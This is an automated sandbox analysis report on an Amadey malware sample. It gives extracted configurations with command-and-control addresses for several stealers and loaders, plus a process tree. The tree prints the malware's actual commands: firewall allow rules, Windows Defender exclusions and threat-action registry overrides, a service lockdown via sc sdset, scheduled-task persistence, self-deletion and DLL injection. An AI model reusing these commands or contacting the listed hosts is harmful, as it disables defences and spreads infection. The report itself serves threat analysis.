amadey | 1af0090ffc936e296ff8097bfae2f215049c2edadb8826ad5d6647a7c41a53d6

Analysis

max time kernel
1s
max time network
129s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
16/05/2024, 22:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1af0090ffc936e296ff8097bfae2f215049c2edadb8826ad5d6647a7c41a53d6.exe
Size 1.7MB
Sample240516-2p3zpacd86
SHA256 1af0090ffc936e296ff8097bfae2f215049c2edadb8826ad5d6647a7c41a53d6
MD5 11956bc787a56529d29f7f00b4af9192
SHA1 eca8a989bee6ebde3e5ef2b9a116cb7e859f3c4e
SHA512 6a2c694adb16be5220823252a92d7f3480fa243883c9b1ca7c74fbc1a48c0adacce14436222a3bfabfdb34dc9066afa508b7b3f5e2a0c647660d9d28543a74b3
SSDEEP 49152:zZmm1vTigRg9EXPL4ME8XTL2UorDkm+o7Dkz+TWthB:FmmhTxg2Xi8DL2UoHx+cDSnP
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey gcleaner glupteba redline risepro stealc xmrig 1 18befc @cloudytteam c767c0 zzvv dropper evasion execution infostealer loader miner stealer themida trojan upx

Malware Config

Extracted

Family

amadey

Version

4.20

Botnet

18befc

http://5.42.96.141

Attributes

install_dir
908f070dff
install_file
explorku.exe
strings_key
b25a9385246248a95c600f9a061438e1
url_paths
/go34ko8/index.php

rc4.plain

Extracted

Family

amadey

Version

4.20

Botnet

c767c0

http://5.42.96.7

Attributes

install_dir
7af68cdb52
install_file
axplons.exe
strings_key
e2ce58e78f631ed97d01fe7b70e85d5e
url_paths
/zamo7h/index.php

rc4.plain

Extracted

Family

risepro

147.45.47.126:58709

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

185.172.128.33:8970

Extracted

Family

redline

Botnet

185.215.113.67:26260

Extracted

Family

stealc

Botnet

zzvv

http://23.88.106.134

Attributes

url_path
/c73eed764cc59dcb.php

Extracted

Family

gcleaner

185.172.128.90
5.42.64.56
5.42.65.64

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 1 IoCs

resource	yara_rule
behavioral2/memory/2868-767-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

resource	yara_rule
behavioral2/files/0x000800000001abf6-95.dat	family_redline
behavioral2/memory/4840-96-0x0000000000F70000-0x0000000000FC2000-memory.dmp	family_redline
behavioral2/memory/888-100-0x0000000000780000-0x0000000000840000-memory.dmp	family_redline
behavioral2/files/0x000800000001abf7-99.dat	family_redline
behavioral2/files/0x000800000001ac03-146.dat	family_redline
behavioral2/memory/4248-154-0x0000000000C10000-0x0000000000C62000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
Stealc
Stealc is an infostealer written in C++.
stealer stealc

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000800000001ac1a-202.dat	family_xmrig
behavioral2/files/0x000800000001ac1a-202.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1af0090ffc936e296ff8097bfae2f215049c2edadb8826ad5d6647a7c41a53d6.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 24 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4768	powershell.exe
3848	powershell.exe
6136	powershell.exe
5124	powershell.exe
4724	powershell.exe
5408	powershell.exe
5936	powershell.exe
4992	powershell.exe
4852	powershell.exe
5904	powershell.exe
4624	powershell.exe
3392	powershell.exe
5424	powershell.exe
2308	powershell.exe
5844	powershell.exe
4848	powershell.exe
5844	powershell.exe
5668	powershell.exe
5732	powershell.EXE
6044	powershell.exe
2076	powershell.exe
5772	powershell.exe
1520	powershell.exe
2128	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 3 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6132	netsh.exe
5192	netsh.exe
5980	netsh.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1af0090ffc936e296ff8097bfae2f215049c2edadb8826ad5d6647a7c41a53d6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1af0090ffc936e296ff8097bfae2f215049c2edadb8826ad5d6647a7c41a53d6.exe

Themida packer 37 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/512-0-0x0000000001350000-0x000000000189B000-memory.dmp	themida
behavioral2/memory/512-2-0x0000000001350000-0x000000000189B000-memory.dmp	themida
behavioral2/memory/512-5-0x0000000001350000-0x000000000189B000-memory.dmp	themida
behavioral2/memory/512-3-0x0000000001350000-0x000000000189B000-memory.dmp	themida
behavioral2/memory/512-4-0x0000000001350000-0x000000000189B000-memory.dmp	themida
behavioral2/memory/512-6-0x0000000001350000-0x000000000189B000-memory.dmp	themida
behavioral2/memory/512-1-0x0000000001350000-0x000000000189B000-memory.dmp	themida
behavioral2/memory/512-7-0x0000000001350000-0x000000000189B000-memory.dmp	themida
behavioral2/files/0x000700000001ac23-14.dat	themida
behavioral2/memory/400-18-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/512-17-0x0000000001350000-0x000000000189B000-memory.dmp	themida
behavioral2/memory/400-24-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/400-25-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/400-23-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/400-21-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/400-22-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/400-19-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/400-20-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/files/0x000800000001abc0-56.dat	themida
behavioral2/memory/2416-64-0x00000000008F0000-0x0000000000F62000-memory.dmp	themida
behavioral2/memory/2416-67-0x00000000008F0000-0x0000000000F62000-memory.dmp	themida
behavioral2/memory/2416-68-0x00000000008F0000-0x0000000000F62000-memory.dmp	themida
behavioral2/memory/2416-65-0x00000000008F0000-0x0000000000F62000-memory.dmp	themida
behavioral2/memory/2416-66-0x00000000008F0000-0x0000000000F62000-memory.dmp	themida
behavioral2/memory/2416-69-0x00000000008F0000-0x0000000000F62000-memory.dmp	themida
behavioral2/memory/2416-72-0x00000000008F0000-0x0000000000F62000-memory.dmp	themida
behavioral2/memory/2416-71-0x00000000008F0000-0x0000000000F62000-memory.dmp	themida
behavioral2/memory/2416-70-0x00000000008F0000-0x0000000000F62000-memory.dmp	themida
behavioral2/memory/400-73-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/2416-224-0x00000000008F0000-0x0000000000F62000-memory.dmp	themida
behavioral2/memory/5240-857-0x0000000140000000-0x0000000140C18000-memory.dmp	themida
behavioral2/files/0x000700000001ac66-855.dat	themida
behavioral2/memory/5240-870-0x0000000140000000-0x0000000140C18000-memory.dmp	themida
behavioral2/memory/5732-948-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/5732-949-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/5732-1168-0x0000000000D90000-0x00000000012DB000-memory.dmp	themida
behavioral2/memory/5240-4293-0x0000000140000000-0x0000000140C18000-memory.dmp	themida

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3900-4312-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/3900-4324-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/3364-4322-0x0000000000400000-0x00000000008DF000-memory.dmp	upx

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1af0090ffc936e296ff8097bfae2f215049c2edadb8826ad5d6647a7c41a53d6.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
60	pastebin.com
63	pastebin.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\explorku.job	1af0090ffc936e296ff8097bfae2f215049c2edadb8826ad5d6647a7c41a53d6.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4464	sc.exe
220	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 13 IoCs

pid	pid_target	Process	procid_target
1176	2228	WerFault.exe	78
2516	4204	WerFault.exe	115
4244	4204	WerFault.exe	115
1980	3384	WerFault.exe	118
3044	4204	WerFault.exe	115
908	4204	WerFault.exe	115
1828	4204	WerFault.exe	115
3752	4204	WerFault.exe	115
1616	4204	WerFault.exe	115
4860	4204	WerFault.exe	115
3860	4204	WerFault.exe	115
5084	4204	WerFault.exe	115
2872	4204	WerFault.exe	115

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2708	schtasks.exe
4860	schtasks.exe
2164	schtasks.exe
5360	schtasks.exe
3036	schtasks.exe
6068	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\1af0090ffc936e296ff8097bfae2f215049c2edadb8826ad5d6647a7c41a53d6.exe
"C:\Users\Admin\AppData\Local\Temp\1af0090ffc936e296ff8097bfae2f215049c2edadb8826ad5d6647a7c41a53d6.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
PID:512
- C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
  "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
  2⤵
  PID:400
- - C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
    "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
    3⤵
    PID:1528
- - C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
    "C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe"
    3⤵
    PID:3444
  - - C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
      "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
      4⤵
      PID:1844
    - - C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
        5⤵
        
        PID:2228
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:4164
        
        C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
        7⤵
        
        PID:888
        
        C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
        7⤵
        
        PID:4840
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
        7⤵
        
        PID:308
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        8⤵
        
        PID:2860
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 516
        6⤵
        Program crash
        
        PID:1176
    - - C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"
        5⤵
        
        PID:1336
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:384
    - - C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
        5⤵
        
        PID:4248
    - - C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
        5⤵
        
        PID:2620
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameStabilityService\installm.bat" "
        6⤵
        
        PID:704
        
        C:\Windows\SysWOW64\sc.exe
        
        Sc delete GameSyncLinks
        7⤵
        Launches sc.exe
        
        PID:4464
        
        C:\Program Files (x86)\GameStabilityService\GameService.exe
        
        GameService remove GameSyncLinks confirm
        7⤵
        
        PID:4904
        
        C:\Program Files (x86)\GameStabilityService\GameService.exe
        
        GameService install GameStabilityService "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
        7⤵
        
        PID:2144
        
        C:\Program Files (x86)\GameStabilityService\GameService.exe
        
        GameService start GameStabilityService
        7⤵
        
        PID:3220
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
        6⤵
        
        PID:3200
    - - C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
        5⤵
        
        PID:2236
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:5076
    - - C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
        5⤵
        
        PID:4040
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:1144
    - - C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
        5⤵
        
        PID:4812
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:2708
      - C:\Users\Admin\AppData\Local\Temp\1000263001\dl.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000263001\dl.exe"
        6⤵
        
        PID:4204
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 520
        7⤵
        Program crash
        
        PID:4244
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 548
        7⤵
        Program crash
        
        PID:2516
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 772
        7⤵
        Program crash
        
        PID:3044
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 832
        7⤵
        Program crash
        
        PID:908
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 852
        7⤵
        Program crash
        
        PID:1828
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 892
        7⤵
        Program crash
        
        PID:3752
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 928
        7⤵
        Program crash
        
        PID:1616
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 1104
        7⤵
        Program crash
        
        PID:4860
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 1136
        7⤵
        Program crash
        
        PID:3860
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 1268
        7⤵
        Program crash
        
        PID:5084
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 1248
        7⤵
        Program crash
        
        PID:2872
      - C:\Users\Admin\AppData\Local\Temp\1000264001\toolspub1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000264001\toolspub1.exe"
        6⤵
        
        PID:3384
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3384 -s 504
        7⤵
        Program crash
        
        PID:1980
      - C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe"
        6⤵
        
        PID:2868
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2308
        
        C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe"
        7⤵
        
        PID:2216
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4992
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        8⤵
        
        PID:5776
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        9⤵
        Modifies Windows Firewall
        
        PID:6132
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5844
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5904
        
        C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        8⤵
        
        PID:5556
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3848
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        9⤵
        Creates scheduled task(s)
        
        PID:4860
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        9⤵
        
        PID:1248
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5424
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4768
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        9⤵
        
        PID:200
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        9⤵
        Creates scheduled task(s)
        
        PID:2164
        
        C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        9⤵
        
        PID:3900
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        10⤵
        
        PID:5496
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        11⤵
        Launches sc.exe
        
        PID:220
    - - C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
        5⤵
        
        PID:4676
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe" -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2128
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
        6⤵
        
        PID:352
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        6⤵
        
        PID:4464
        
        C:\Users\Admin\Pictures\44xIlu3objCPiBcI5AHNO0PH.exe
        
        "C:\Users\Admin\Pictures\44xIlu3objCPiBcI5AHNO0PH.exe"
        7⤵
        
        PID:5076
        
        C:\Users\Admin\Pictures\hbjZOm0NLHvR44EOJdB9oaxO.exe
        
        "C:\Users\Admin\Pictures\hbjZOm0NLHvR44EOJdB9oaxO.exe"
        7⤵
        
        PID:1520
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4852
        
        C:\Users\Admin\Pictures\hbjZOm0NLHvR44EOJdB9oaxO.exe
        
        "C:\Users\Admin\Pictures\hbjZOm0NLHvR44EOJdB9oaxO.exe"
        8⤵
        
        PID:3044
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4724
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        9⤵
        
        PID:5776
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        10⤵
        Modifies Windows Firewall
        
        PID:5192
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5408
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6136
        
        C:\Users\Admin\Pictures\n9KnjBkCz9O7FNKZRszmpWwM.exe
        
        "C:\Users\Admin\Pictures\n9KnjBkCz9O7FNKZRszmpWwM.exe" /s
        7⤵
        
        PID:1516
        
        C:\Users\Admin\Pictures\KN1Gsfx71NGVp5nUeGiTGSc7.exe
        
        "C:\Users\Admin\Pictures\KN1Gsfx71NGVp5nUeGiTGSc7.exe"
        7⤵
        
        PID:2620
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5124
        
        C:\Users\Admin\Pictures\KN1Gsfx71NGVp5nUeGiTGSc7.exe
        
        "C:\Users\Admin\Pictures\KN1Gsfx71NGVp5nUeGiTGSc7.exe"
        8⤵
        
        PID:6080
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4624
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        9⤵
        
        PID:5892
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        10⤵
        Modifies Windows Firewall
        
        PID:5980
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3392
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5936
        
        C:\Users\Admin\Pictures\g0Ia4gQg9wWZHEbEBUx21Vu5.exe
        
        "C:\Users\Admin\Pictures\g0Ia4gQg9wWZHEbEBUx21Vu5.exe"
        7⤵
        
        PID:5240
        
        C:\Users\Admin\Pictures\XjOKHjDS0MddGmxa8C3dVlOO.exe
        
        "C:\Users\Admin\Pictures\XjOKHjDS0MddGmxa8C3dVlOO.exe"
        7⤵
        
        PID:5328
        
        C:\Users\Admin\AppData\Local\Temp\7zS607A.tmp\Install.exe
        
        .\Install.exe /tEdidDDf "385118" /S
        8⤵
        
        PID:5808
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        9⤵
        
        PID:5164
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        10⤵
        
        PID:3392
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        11⤵
        
        PID:4680
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        12⤵
        
        PID:5736
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        10⤵
        
        PID:4624
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        11⤵
        
        PID:4140
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        12⤵
        
        PID:5948
        
        C:\Windows\SysWOW64\forfiles.exe
        
